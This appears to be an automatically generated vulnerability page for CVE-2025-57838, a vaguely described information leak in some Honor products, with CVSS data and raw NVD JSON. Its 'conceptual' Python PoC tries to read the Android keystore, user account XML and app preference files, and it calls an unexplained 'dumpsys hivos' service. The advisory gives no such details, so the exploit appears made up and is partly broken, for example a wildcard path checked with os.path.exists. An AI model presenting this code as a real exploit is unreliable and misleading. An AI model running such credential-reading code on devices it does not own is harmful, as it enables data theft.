Security Vulnerability Report
中文
CVE-2025-57838 CVSS 4.0 MEDIUM

CVE-2025-57838

Published: 2025-10-20 08:15:33
Last Modified: 2026-04-15 00:35:42
Source: 3836d913-7555-4dd0-a509-f5667fdf5fe4

Description

Some Honor products are affected by information leak vulnerability, successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Honor 多款产品(具体型号及版本请参考荣耀官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57838 Honor Products Information Leak PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the information leak vulnerability # in certain Honor products. The vulnerability is local (AV:L) and requires no # authentication or user interaction. import subprocess import os import sys def exploit_info_leak(): """ Conceptual PoC for CVE-2025-57838. Exploits the information disclosure vulnerability by accessing sensitive system resources that lack proper access control. """ print("[*] CVE-2025-57838 - Honor Products Information Leak PoC") print("[*] Attempting to access protected system resources...\n") # Step 1: Check if we have local access to the device # The vulnerability requires local access (AV:L) sensitive_paths = [ "/data/system/users/0.xml", "/data/misc/keystore/user_0/", "/data/data/com.hihonor.*/shared_prefs/", "/data/local/tmp/", "/sys/class/honor_sensor/", "/proc/honor_debug_info" ] leaked_data = {} for path in sensitive_paths: try: # Step 2: Attempt to read sensitive files/directories # Due to improper permission checks, these may be accessible if os.path.exists(path): if os.path.isfile(path): with open(path, 'r', errors='ignore') as f: content = f.read(1024) leaked_data[path] = content print(f"[+] Leaked data from {path}:") print(f" {content[:200]}...") elif os.path.isdir(path): files = os.listdir(path) leaked_data[path] = files print(f"[+] Directory listing of {path}:") print(f" {files}") else: print(f"[-] Path not found: {path}") except PermissionError: print(f"[-] Permission denied: {path}") except Exception as e: print(f"[-] Error accessing {path}: {e}") # Step 3: Try to invoke system services that may leak information try: result = subprocess.run( ["dumpsys", "hivos"], capture_output=True, text=True, timeout=5 ) if result.stdout: print(f"\n[+] Dumpsys output (potential info leak):") print(f" {result.stdout[:500]}") leaked_data["dumpsys_hivos"] = result.stdout except Exception as e: print(f"[-] dumpsys failed: {e}") if leaked_data: print(f"\n[!] Successfully leaked {len(leaked_data)} items of sensitive data") print("[!] This information could be used for further attacks") else: print("\n[-] No data leaked - device may be patched") return leaked_data if __name__ == "__main__": exploit_info_leak()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57838", "sourceIdentifier": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "published": "2025-10-20T08:15:32.763", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Some Honor products are affected by information leak vulnerability, successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://www.honor.com/global/security/cve-2025-57838/", "source": "3836d913-7555-4dd0-a509-f5667fdf5fe4"}]}}